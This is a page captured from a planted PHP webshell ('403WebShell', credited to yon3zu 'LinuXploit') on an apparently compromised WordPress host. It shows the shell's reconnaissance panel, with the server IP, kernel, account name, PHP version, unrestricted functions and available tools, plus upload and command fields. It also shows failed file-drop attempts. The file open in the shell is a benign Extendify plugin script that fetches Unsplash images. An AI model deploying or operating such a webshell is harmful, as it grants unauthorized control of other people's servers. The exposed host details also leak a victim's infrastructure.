Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.117.94.221
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/cynthiaadediran.com/wp-content/plugins/extendify/src/Shared/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/cynthiaadediran.com/wp-content/plugins/extendify/src/Shared/lib/unsplash.js
import { AI_HOST } from '@constants';
import { useAIConsentStore } from '@shared/state/ai-consent';
import { useUnsplashCacheStore } from '@shared/state/unsplash-cache';

const { showAIConsent, userGaveConsent } = useAIConsentStore.getState();

// Additional data to send with requests
const allowList = [
	'siteId',
	'partnerId',
	'wpVersion',
	'wpLanguage',
	'devbuild',
	'isBlockTheme',
	'userId',
];

const extraBody = {
	...Object.fromEntries(
		Object.entries(window.extSharedData).filter(([key]) =>
			allowList.includes(key),
		),
	),
	showAIConsent,
	userGaveConsent,
};

export const fetchImages = async (search) => {
	const queryString = new URLSearchParams({
		...extraBody,
		query: search,
	});

	const res = await fetch(
		`${AI_HOST}/api/draft/image/unsplash?${queryString.toString()}`,
		{
			method: 'GET',
			headers: { 'Content-Type': 'application/json' },
		},
	);

	if (!res.ok) {
		throw new Error('Bad response from server');
	}

	const images = await res.json();

	if (!Array.isArray(images)) {
		throw new Error('Bad response from server');
	}

	const result = images.map((image) => ({
		...image,
		requestMetadata: {
			id: res.headers.get('X-Request-Id'),
			total: res.headers.get('X-Total'),
			perPage: res.headers.get('X-Per-Page'),
		},
	}));

	return result;
};

export const preFetchImages = async () => {
	const cache = useUnsplashCacheStore.getState();
	if (!cache.isEmpty() && !cache.hasExpired()) {
		return cache.images;
	}

	const { aiKeywords } = window.extSharedData?.siteProfile ?? {};
	const queries = aiKeywords?.length ? aiKeywords : [];
	const images = (await Promise.all(queries.map(fetchImages))).flat();

	const uniqueImagesMap = images.reduce((acc, image) => {
		if (!acc.has(image.id)) {
			acc.set(image.id, image);
		}
		return acc;
	}, new Map());
	cache.updateCache(Array.from(uniqueImagesMap.values()));

	return images;
};

Youez - 2016 - github.com/yon3zu
LinuXploit